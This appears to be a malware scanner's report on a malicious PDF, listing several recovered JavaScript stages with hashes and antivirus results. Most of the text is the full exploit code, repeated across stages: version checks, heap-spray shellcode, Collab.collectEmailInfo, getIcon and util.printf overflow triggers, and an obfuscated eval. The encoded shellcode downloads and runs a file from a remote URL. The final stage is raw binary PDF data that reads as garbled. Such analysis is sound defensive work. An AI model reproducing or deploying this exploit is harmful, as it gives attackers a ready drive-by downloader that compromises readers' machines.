u00\",\"00%uff\",\"00%u4e95%u\",\"0001%u8\",\"900%u8\",\"1ea%u\",\"5ec2%u0\",\"001%u3\",\"100%u0\",\"1f6%u\",\"8ac2%u359\",\"c%u026e%u0\",\"000%ufb80%\",\"u7400\",\"%u880\",\"6%u321c%\",\"ueb46%u\",\"c6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c\",\"2%u0002%\",\"u5200%u95\",\"ff%u0152%u\",\"0000%uea89\",\"%uc281%u02\",\"50%u000\",\"0%u5052%u9\",\"5ff%u01\",\"56%u0\",\"000%u006\",\"a%u006a%ue\",\"a89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%ua6c2%u\",\"0002%u5\",\"200%u006a%\",\"ud0ff%u\",\"056a%\",\"uea89%u\",\"c281%u01\",\"5e%u000\",\"0%uff52%u5\",\"a95%u0\",\"001%u9d00%\",\"u5f5d%\",\"u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u\",\"0000%\",\"u0000%u000\",\"0%u6547%u5\",\"474%u6d65\",\"%u5070%u74\",\"61%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%\",\"u6269%u\",\"6172%u\",\"7972%u0\",\"041%u65\",\"47%u50\",\"74%u6f72\",\"%u4163%u\",\"6464%u6572\",\"%u7373%\",\"u5700%u\",\"6e69%u78\",\"45%u6365%\",\"ubb00%uf2\",\"89%uf78\",\"9%uc03\",\"0%u75a\",\"e%u29fd%\",\"u89f7%u31\",\"f9%ubec\",\"0%u00\",\"3c%u00\",\"00%ub\",\"503%u\",\"021b%u000\",\"0%uad66%u8\",\"503%u02\",\"1b%u000\",\"0%u708b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u0\",\"000%u\",\"bd8d%u021f\",\"%u0000%u03\",\"ad%u1b\",\"85%u0\",\"002%uab0\",\"0%u03ad%u\",\"1b85%u000\",\"2%u500\",\"0%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab%\",\"udb31%u56a\",\"d%u850\",\"3%u02\",\"1b%u0000%u\",\"c689%\",\"ud789%u\",\"fc51%ua6f\",\"3%u7459%\",\"u5e04%u\",\"eb43%u5\",\"ee9%ud19\",\"3%u03e0%u\",\"2785%u000\",\"2%u31\",\"00%u96f6%u\",\"ad66%u\",\"e0c1%u030\",\"2%u1f8\",\"5%u000\",\"2%u8900\",\"%uadc\",\"6%u8503%u\",\"021b%u0000\",\"%uebc3\",\"%u0010%u0\",\"000%u0\",\"000%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u0000%\",\"u8900%u1b\",\"85%u000\",\"2%u56\",\"00%ue85\",\"7%uff58%u\",\"ffff%u5e5f\",\"%u01ab\",\"%u80ce%u\",\"bb3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4\",\"f4d%u\",\"2e4e%\",\"u4c44%u\",\"004c%u5\",\"255%u4\",\"44c%u776f%\",\"u6c6e%u61\",\"6f%u5464\",\"%u466f%\",\"u6c69%\",\"u4165%\",\"u7500\",\"%u6470%u\",\"7461%u2e6\",\"5%u7865%u\",\"0065%u\",\"7263%u73\",\"61%u2\",\"e68%u6870\",\"%u0070\",\"%u7468%u\",\"7074%u2f3\",\"a%u69\",\"2f%u6b6e%u\",\"616b%u\",\"2e6b%u\",\"6e63%u6\",\"52f%u\",\"746e%u7265\",\"%u752f%u\",\"6470%u7\",\"461%u2e\",\"65%u68\",\"70%u3f70%\",\"u6469%u333\",\"d%u7226%u7\",\"465%u6f3\",\"d%u006b%u9\",\"000\");awn5fmmtY = unescape(awn5fmmtY.join(\"\"));var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);var sR4ZJ8w7ci = unescape(\"%u9090%u9090\");sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K(){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString();app.clearTimeOut(hzoXWf2zMR);if((e8ooaAyfX >= 8 && e8ooaAyfX < 8.102) || e8ooaAyfX < 7.1){kKsdhSU26(0);var lCnTk4BeM = unescape(\"%u0c0c%u0c0c\");while(lCnTk4BeM.length < 44952) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\"collabStore\"] = qb7cGlrfF2[\"collectEmailInfo\"]({subj : \"\", msg : lCnTk4BeM});}if((e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104) || (e8ooaAyfX >= 9 && e8ooaAyfX < 9.1) || e8ooaAyfX <= 7.101){try{if(app.doc.Collab.getIcon){kKsdhSU26(2);var dl0wQ8RB3 = unescape(\"%09\");while(dl0wQ8RB3.length < 0x4000){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \"N.\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\"doc\"][\"Collab\"][\"getIcon\"](dl0wQ8RB3);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch(e){aNe5YykKME = 1;}if(aNe5YykKME == 1){if(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1){kKsdhSU26(1);var r9AIMNUS4 = \"12999999999999999999\";for(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++){r9AIMNUS4 += \"8\";}var quiIRMbc = util;quiIRMbc[\"printf\"](\"%45000f\", r9AIMNUS4);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut(\"app.rjO2bASA3()\", 10);';function q34u6su2(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ){return ioMR5gz7V;}function rmkqJzTi(fUhFEtZWm,qMyxid01F,dMPLrGrK){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace(/[]/g, '');this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array('m2B1rLly','ppm3V2roF');var aKcHThxsm = 'eval';app[aKcHThxsm](rH5ljG0VLS);oKegsvZN="j01zyiXE";function q1HkXnUMs(jU3hrtuz,nHErrrAz){}var mnvrrMP0i=new Array();mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;
generic_stage_recovery_003.js deobfuscated-js generic stage recovery percent-decode from decompressed stream at 0x2A06 at offset 0x2A06 5937 bytes
SHA-256: 75d6e0f10fbeb3614063fbae22df4ac2395fb583f20d169173008a341a5feb0f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function q5TeDahU7(hJNey0R8q,knSopuO6h,hMvn4cI0ZI){}var sF4vJtwY8=null;function tBldhzHcY(v0dX0adJ){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array();var hzoXWf2zMR;function xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL){while(sR4ZJ8w7ci.length * 2 < kIkwRkWL){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring(0, kIkwRkWL / 2);return sR4ZJ8w7ci;}function kKsdhSU26(tNydZuOK){if(tNydZuOK == 0){var h8qcONPj = 0x0c0c0c0c;}else if(tNydZuOK == 1){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array(\"%u535\",\"0%u5251%u\",\"5756%u9c55\",\"%u00e8%\",\"u0000%\",\"u5d00%ued\",\"83%u310\",\"d%u64c\",\"0%u4003%u7\",\"830%u8b0c%\",\"u0c40%u70\",\"8b%ua\",\"d1c%u408b\",\"%ueb08%u8b\",\"09%u3440%\",\"u408d\",\"%u8b7c%u\",\"3c40%u5756\",\"%u5ebe%u\",\"0001%\",\"u0100%ubfe\",\"e%u014e\",\"%u0000%uef\",\"01%ud6e\",\"8%u0001%\",\"u5f00%u8\",\"95e%u\",\"81ea%\",\"u5ec2%u\",\"0001%u5200\",\"%u8068%u\",\"0000%u\",\"ff00%\",\"u4e95%u00\",\"01%u8900%u\",\"81ea%u5ec2\",\"%u000\",\"1%u310\",\"0%u01f6%\",\"u8ac2%u\",\"359c%u0\",\"263%u0000%\",\"ufb80%u740\",\"0%u8806\",\"%u321c%u\",\"eb46%\",\"uc6ee%u32\",\"04%u890\",\"0%u81ea\",\"%u45c2%u00\",\"02%u5200%u\",\"95ff%u\",\"0152%u000\",\"0%uea\",\"89%uc281\",\"%u0250\",\"%u000\",\"0%u5052%u\",\"95ff%u01\",\"56%u00\",\"00%u00\",\"6a%u00\",\"6a%uea89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%u78c2%u\",\"0002%u5200\",\"%u006a%ud0\",\"ff%u0\",\"56a%uea89\",\"%uc281%u01\",\"5e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001\",\"%u8900\",\"%u81ea%u\",\"5ec2%u0\",\"001%u5\",\"200%u8\",\"068%u00\",\"00%uff\",\"00%u4e95%u\",\"0001%u8\",\"900%u8\",\"1ea%u\",\"5ec2%u0\",\"001%u3\",\"100%u0\",\"1f6%u\",\"8ac2%u359\",\"c%u026e%u0\",\"000%ufb80%\",\"u7400\",\"%u880\",\"6%u321c%\",\"ueb46%u\",\"c6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c\",\"2%u0002%\",\"u5200%u95\",\"ff%u0152%u\",\"0000%uea89\",\"%uc281%u02\",\"50%u000\",\"0%u5052%u9\",\"5ff%u01\",\"56%u0\",\"000%u006\",\"a%u006a%ue\",\"a89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%ua6c2%u\",\"0002%u5\",\"200%u006a%\",\"ud0ff%u\",\"056a%\",\"uea89%u\",\"c281%u01\",\"5e%u000\",\"0%uff52%u5\",\"a95%u0\",\"001%u9d00%\",\"u5f5d%\",\"u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u\",\"0000%\",\"u0000%u000\",\"0%u6547%u5\",\"474%u6d65\",\"%u5070%u74\",\"61%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%\",\"u6269%u\",\"6172%u\",\"7972%u0\",\"041%u65\",\"47%u50\",\"74%u6f72\",\"%u4163%u\",\"6464%u6572\",\"%u7373%\",\"u5700%u\",\"6e69%u78\",\"45%u6365%\",\"ubb00%uf2\",\"89%uf78\",\"9%uc03\",\"0%u75a\",\"e%u29fd%\",\"u89f7%u31\",\"f9%ubec\",\"0%u00\",\"3c%u00\",\"00%ub\",\"503%u\",\"021b%u000\",\"0%uad66%u8\",\"503%u02\",\"1b%u000\",\"0%u708b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u0\",\"000%u\",\"bd8d%u021f\",\"%u0000%u03\",\"ad%u1b\",\"85%u0\",\"002%uab0\",\"0%u03ad%u\",\"1b85%u000\",\"2%u500\",\"0%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab%\",\"udb31%u56a\",\"d%u850\",\"3%u02\",\"1b%u0000%u\",\"c689%\",\"ud789%u\",\"fc51%ua6f\",\"3%u7459%\",\"u5e04%u\",\"eb43%u5\",\"ee9%ud19\",\"3%u03e0%u\",\"2785%u000\",\"2%u31\",\"00%u96f6%u\",\"ad66%u\",\"e0c1%u030\",\"2%u1f8\",\"5%u000\",\"2%u8900\",\"%uadc\",\"6%u8503%u\",\"021b%u0000\",\"%uebc3\",\"%u0010%u0\",\"000%u0\",\"000%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u0000%\",\"u8900%u1b\",\"85%u000\",\"2%u56\",\"00%ue85\",\"7%uff58%u\",\"ffff%u5e5f\",\"%u01ab\",\"%u80ce%u\",\"bb3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4\",\"f4d%u\",\"2e4e%\",\"u4c44%u\",\"004c%u5\",\"255%u4\",\"44c%u776f%\",\"u6c6e%u61\",\"6f%u5464\",\"%u466f%\",\"u6c69%\",\"u4165%\",\"u7500\",\"%u6470%u\",\"7461%u2e6\",\"5%u7865%u\",\"0065%u\",\"7263%u73\",\"61%u2\",\"e68%u6870\",\"%u0070\",\"%u7468%u\",\"7074%u2f3\",\"a%u69\",\"2f%u6b6e%u\",\"616b%u\",\"2e6b%u\",\"6e63%u6\",\"52f%u\",\"746e%u7265\",\"%u752f%u\",\"6470%u7\",\"461%u2e\",\"65%u68\",\"70%u3f70%\",\"u6469%u333\",\"d%u7226%u7\",\"465%u6f3\",\"d%u006b%u9\",\"000\");awn5fmmtY = unescape(awn5fmmtY.join(\"\"));var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);var sR4ZJ8w7ci = unescape(\"%u9090%u9090\");sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K(){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString();app.clearTimeOut(hzoXWf2zMR);if((e8ooaAyfX >= 8 && e8ooaAyfX < 8.102) || e8ooaAyfX < 7.1){kKsdhSU26(0);var lCnTk4BeM = unescape(\"%u0c0c%u0c0c\");while(lCnTk4BeM.length < 44952) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\"collabStore\"] = qb7cGlrfF2[\"collectEmailInfo\"]({subj : \"\", msg : lCnTk4BeM});}if((e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104) || (e8ooaAyfX >= 9 && e8ooaAyfX < 9.1) || e8ooaAyfX <= 7.101){try{if(app.doc.Collab.getIcon){kKsdhSU26(2);var dl0wQ8RB3 = unescape(\"	\");while(dl0wQ8RB3.length < 0x4000){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \"N.\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\"doc\"][\"Collab\"][\"getIcon\"](dl0wQ8RB3);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch(e){aNe5YykKME = 1;}if(aNe5YykKME == 1){if(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1){kKsdhSU26(1);var r9AIMNUS4 = \"12999999999999999999\";for(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++){r9AIMNUS4 += \"8\";}var quiIRMbc = util;quiIRMbc[\"printf\"](\"E000f\", r9AIMNUS4);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut(\"app.rjO2bASA3()\", 10);';function q34u6su2(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ){return ioMR5gz7V;}function rmkqJzTi(fUhFEtZWm,qMyxid01F,dMPLrGrK){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace(/[]/g, '');this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array('m2B1rLly','ppm3V2roF');var aKcHThxsm = 'e'+'v'+'a'+'l';app[aKcHThxsm](rH5ljG0VLS);oKegsvZN="j01zyiXE";function q1HkXnUMs(jU3hrtuz,nHErrrAz){}var mnvrrMP0i=new Array();mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;
generic_stage_recovery_004.js deobfuscated-js generic stage recovery null-collapse from decompressed stream at 0x4AD2 at offset 0x4AD2 2039 bytes
SHA-256: b4ebd0faaaa8b404e3bf2d84359c5ef59c226480e81705b9fd9e04e43782e1e4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
awn5fmmtY.join(\"\"));var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);var sR4ZJ8w7ci = unescape(\"%u9090%u9090\");sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K(){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString();app.clearTimeOut(hzoXWf2zMR);if((e8ooaAyfX >= 8 && e8ooaAyfX < 8.102) || e8ooaAyfX < 7.1){kKsdhSU26(0);var lCnTk4BeM = unescape(\"%u0c0c%u0c0c\");while(lCnTk4BeM.length < 44952) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\"collabStore\"] = qb7cGlrfF2[\"collectEmailInfo\"]({subj : \"\", msg : lCnTk4BeM});}if((e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104) || (e8ooaAyfX >= 9 && e8ooaAyfX < 9.1) || e8ooaAyfX <= 7.101){try{if(app.doc.Collab.getIcon){kKsdhSU26(2);var dl0wQ8RB3 = unescape(\"%09\");while(dl0wQ8RB3.length < 0x4000){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \"N.\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\"doc\"][\"Collab\"][\"getIcon\"](dl0wQ8RB3);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch(e){aNe5YykKME = 1;}if(aNe5YykKME == 1){if(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1){kKsdhSU26(1);var r9AIMNUS4 = \"12999999999999999999\";for(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++){r9AIMNUS4 += \"8\";}var quiIRMbc = util;quiIRMbc[\"printf\"](\"%45000f\", r9AIMNUS4);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut(\"app.rjO2bASA3()\", 10);';function q34u6su2(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ){return ioMR5gz7V;}function rmkqJzTi(fUhFEtZWm,qMyxid01F,dMPLrGrK){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace(/[]/g, '');this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array('m2B1rLly','ppm3V2roF');var aKcHThxsm = 'e'+'v'+'a'+'l';app[aKcHThxsm](rH5ljG0VLS);oKegsvZN="j01zyiXE";function q1HkXnUMs(jU3hrtuz,nHErrrAz){}var mnvrrMP0i=new Array();mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;
generic_stage_recovery_005.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize from raw PDF metadata at offset 0x0 18264 bytes
SHA-256: f23d0a49926c8420021934bb8949d2c8e2e6821e31dabf8cda59d155b5f40fca
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 3329>>
stream
x��\�r�6 ��+z����(zX�Y��L � g�� $!  H���h���d_�6Ňl\�Urb]J  ��t 48�,�TҔ~�kO ��� x��Wx�� }��V���v������f�ƛ4�-&�->3��j����|���z=�L����� f����� _ ����i� >� �N���!�{f��d~K��r2_�]@ �cg��YZ��Q� �Ew����n�|�o��rA��v�ڜo���|o��Wu���N'�%�7� ^� � �>�y�՟~z���xNW� ��y�0�  Ym&�-Ŵ\¤˧�5�N7������~�Z;=:� f���t�Ҍ"S$ e�1)�&�	�� &���2' �\��s��g$i �T�~D6;�t�*�,�"�Џ iM��K�S��DI�R ���3:
[� S.��J����LN�ǰ 	ER���'���*�&��� �0�� ��V������v{����{��~Y��Dv �  m�!���((D ++�23
�  R�� �-0�<26�X ʟ��T U 
��xGů�W �<�Lh Pn�� V� �g VN+O ���`YD,��Ri�(�(3J�9�l�Q{� �Jdy6�_�� ne��H��� ��팱��]�l���^���@ �Ӧ� 3�N�k^�� ��h� ��J��W!4�UGɋ�o�ٵD8��% ��b��n�W��I�&# �V xAXh�� �W$�G�_x� �?�T σ�cy?Ia)� ?� ~�� �s�|�g�I��
 � 7�j�#�T�I%�"�E�)3I� ��  �0ۮ�N�?���G�NE;�ː !��k����в"s�Pw:�i�� | �Y{
>�ٓ!@.Q�^P�K�i��%� K0�  �QjiM �#�h_��	�k��ߋ0������P R]� �&Gy���G ��c� x
L@	.��V 9j�	"�W�,G`? D�Ā �ۖ]%6
����vB?+Ƃ,)<`�O ��K��[m�( �q�F�m 0 $;p� DL�,�� ���:�� �D{�o��KYt��&�$ �C 0$�&�@~y�[A   6V!i#v�┃� Q�M �P�ǁ�� ���G2pi�M i��� �P�  ��# p �
��� B�� ��u ����� V��� ��e`�� 7�{T �BH{��  T�Qw�=dX"F�ҋ��6r@J��C�vFu��M d� � �2� �$0>�b���� VH�+ �L
#r'��a�> -� �Œ�]=� 4_&9<AqR� �] � y�ތ�A5 p2m% �˹�c� �a/��/s�����W�B; �21�dn ��)� V 2�5�ur� ���;� �!e��!�r*J��6��/
�� \ m^G/s  	�CdX^װ�Q+� |�C� ��z�iB/)"6Z�q�p ��]I� �vi�Y �]Ԁ  �X$�Y �!�-b� k �#7 
�CSf����҆�n�]C@ )�� �%;�N �!Q;Ie��;�85�P�eo]�r:�m � ��K��o >+ kQ�?��#�B�ԩ����<}XO�>b�  � �� !ܐ )�i�U�ri�M �/44��n�]�� Nq;�:R.�h��rf�m�  � ̱����ٹ� �sF'��+��P\�mUG�K� �I��ԑ b��9,ףj��<D �ғۣ>�J� ��|��d�q�� ߃Qm� ^<����������n��N�ŲF� O +�� ��#�oO��� O�g��v�Sy��t�w� q[�A+UdJ#)4:(��   #� ��wZ�/ � �ȗ� x�,E5���� ��Q��Pۮ � 9�D"ϘY�Q���I   ����sy��h�:���F.� �^
�� �� ����W*	(E� 8- �� �QG�� ��������m�6\Fzz�[&5 ;5Y� �8�̱ �|f��Cb F0�=.��yꌾ�` ���l��ۛ� �ÉCQ�l_` ��Y��s �syn�j���U9�� � 0/()��F38?��0:|��r /�,P�z ���p��d�9'���l�p	H]��v�� oJ  �O��#��ՠ  p�H%�R�x�����M
 ��"$-9#�ɈCC�� J��vBu`����PC��f��T��A� ߲w�r��F0^d���ty��3� Ơ��*�%�w:�Uk � ��ޚ��c��E�.�)�eݎ����[���g�ѫ�\ObW�M?�A>�Tx�I�:<mD��h�~�#*�l� 5b ���J�)o  �N �W0S � he�Ϳ1��$��

"⤇�4N�q��X����t�!��� ћ�7��O,����B�������0� ��[ۜ:x��� � 1�8�U�G:p&7ۮ�o-'\ ��wT -�=�^=X<�bl91l����C���X�vk�H���.�|��2 H"= �o� �f� �-� ����8@aD�
 ��_X��"���7N-W�� ��b � �>��u ��9��F�Ӿ蒆:U���N ���TF |�$�N ���	6z�.���+��F?T �j��t f�E@�= !kV�d� �bP�"!��<�I�n
Ե_�*%gLC �J� !�� �)8/ �&�L� (��7p_�?��٥� 
_����# g47�\"UDB�)|�j����X}���� �}ײN ���$� N��N���5J��W��ݲ�zW�m�}OG�Sk̻ /[���pfϚ����!���� ��5��zC�&�>j�f D���N�{L�8�  �>� ��]L{vw��@�� �+<�`��b�Ю����h�'y � �m{��*?.���� �l��:�< *ͽ&���|l� v ap?� 06���$��h2M�vi�F�հ��ơ�7��#X @ �DfZ �%ז���QY%�K�5��2xMڕK�_W|o �; �rj���s��� `�Qm*.G�h�z���r�� �$� | ��   �x�|�� =8�z�ߣ�ѩ�jooG����� 
Z���[O֖B r��� ���2�H�Y��� ǚ�G�N� �l�ni��~�Y�G�c��b+$`�r��   �g����n�V��hM���x�����(9� b���:��<��E~� � ��Ë??P��m����p�  ��S
N�Z&' K> �g�k �0����	�S X��?ی<%��[��n�1 �=2% ���l�Z��b�Ƨ! Q�r �� s� � za��� `�������| ԾV��{_�G%
 C]�t��� }��X Ł &T��7qY  ��#����CnmwY���w9������߆s.
�h  �  �F�{ p��/�B��f ���(=�K�Bʊ�� ���Y�Cl�Lñ� �܏��{�z�yxǥ� =cc��糽ϓ Za1�T ��B���g/۟ ��rM���'~>�!5��eŢ-� �]�x���C�NM5�i\W� c�+� �B{ �CI���i�vh�mS� �Ύ����Q��) �l_��P��l��2md ���ڡ�`ywhK��fߛ�z����zu 7N�5� И�􅛧'��^<*�k<Sv��,��#e� � e;L�\N6 $� d�'ۥ"�4�oiј��'��� � �5
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 3208>>
stream
x��\Is�8 ��W|���9 ���2Ǯ�ӓ�Cw�s�� HB$$�PR2���ArBؒ��AlW9�M�����m�( 紧 }�����  %�������;z�˄f�hDw+�pw����� �4 O�� � Q8 fK�� ���q0�P�ӻ��齢?� � ����Q� �� �����S�}Ƴy0���8 &3�K� �4�r�?����t�	���Чk~�C�)͗�`�8>T �z���7���CG�"��
�����}�}|rsz��  �~����g ���F�x��� �xI9�!D ~���?�揎]����'����B�it ӝ*�$�6�T)eU. JU�i�YA;nJC�E�Q��) �̙�T��S �& K�Z +j2�ړ��-� ��yIrG ^�4^�F=? i�7��Fl)f�( �E �d�O 2U�� L�8�v�+�⍽_rjZ�Qb�`�(��}M /⌶\a]L� ��� *��5�Lo �H!�B k Ї��5I�U�E[��+b%� ɊS~Oq�
��e@�Y�r��k�(eB�VV�����{<T���I��I�R�S�ϭ��~3��"2VoБJ� $V�ٮ��HYS�R�*m�/�� �tΆHBw�L�t�� �2�	 j do��+.���*2�b��t�'#�2%�
��XNS*����"��lEi��b%JR��DUQ	1�d �DZ4�?��J��� �K�b�οY dVf�
6YBy��$��0mkK�H���P^� ��	UE,9Dw Ad�1��U�   J�b  ��2��/xl���e �G) n��2��? i � � ��R3*sJ4�` * pP�� ?3�!.� ��  ��e&� *g�>G�M'  �wQf�(&��bz�i�   � �a  ��)�Bi��wSCqRD"Q �`�,g�Xw�`����:  �	l�`�0�� �y��\�=��� �� �{]��q��2m
~�  �9 ���km!  �? �J D��9 �� �ฮ"���ɗJ�q'.���z�Vlj�{ 5>6hM} �
Ձ( �]�+$�
��ʯV � ���>� ��VW1?�� �6[6���, 1x�������� �Y `O��"� ��ig�e  � �.b�a� H��� ��Xo�� q �� r��5� b�T� iue ��V�O�x�� F����!�  l$� ���lmc��m�*��  � ܢ !����;  *  �v��o�0 WZk)�ڴ�o@��/REA& �<G��5ലf �&Б�|�m�� q  L�\B��� tn���o �g� szb/5qv |=@q ����MM ��� � �*\c6V�[k$ �� �~w���i �Ll��P Ɣ�H � 1@��el'�6<�@�
�T�`n�K��(O��T ��UN��a�^7 6�ۉ�^ r�x�Y�H �
H+��  ��O �#��E �N��=�O��.H��ϩ�'�^I���t6p [�9rR� �RmjՋ9�JGv� ����3 � �1$��*"'*�� �.d�8G_��� w� �	.��t����3�������\ )] �|�Sd�ƍ�֐��pԸ���Թ$"�, ��#%�I�[  p  �TH� ��J�9���K�� p�L�*ͮ*L�� �,e{�#�l�� ҇�E�#�8�4x Y�l<�ijrZw2��XW&�$��(�<�
���&-  � � ��c����
 �G��p�|�N >M-\4n߫|   #� �j>�<I�lABظ 9 L� ��0�N��" �2X   �-�uQ�� �  Oa�R%u�|�<J� ݼA��z�	5�Jr� \� n ~� �
@)c~�1�7�r�� eD0V�`%��N,�/ꅳ�A��u-��� �O� ���]Nc.^�n@Se ����NO{*ψ���	� �u����$�l��I+��~	b Ē�9�+ � H�|
o�TG 	Y{ ���: � �) Ā<ɖP��~9tܸkw���e��� �9 G ����ѡv�]��*� U~P�+ 
c�ӆ�햇�z  '��  � �2.� � ,z �����&�x�t�����C ��y�55�],�F��v1i/}u4�; >Vb �bk` �z}EE���*�q{<	7* |�3Xnf1e��~m� "߉gM ��7�د@v !���!3A��Û�xh��v���O�� g�Q�r��-r�į  �u �2�~�FD ٵ�Q1+  � {�  ��|�bkPgh,n��9O8^5� *]�� K���Z�!B4[ �¯�H�y�E9Tj[qX� � 	�\��*; 9����)5gN)WyΠ��k
~�� ]��_E@� @�J �R	L3}�z�w+n��el
0P �K� �Y05��
ܻ�u:�5�/���ܣ3H4���Ms!��>�U���`|nۙ- 2^�Uq�<[�� O�v��#�x��ԙ+z�R�t��Rҁ�h%�� Mp���������=�=�q��j��9 �O�9�:��� Syա3 ��Zə� u �� ��[����u�vqH
�uD��>�j�t �_�Mz`�F�s �� � �� �}Yva�1��~�O6�Slά��A��5�u�哝��\�k< U� �5�aa��V��`ާȜ��v�=[�q�� ��75�4u�y� ��� �<   {�xju�� ��{�3,m�S{�k£3x��  L�  _��? G� ڧМA��5 � �%��&��ثnG/��}�l����f"巻>qF^ � me'� � �w\W�rx
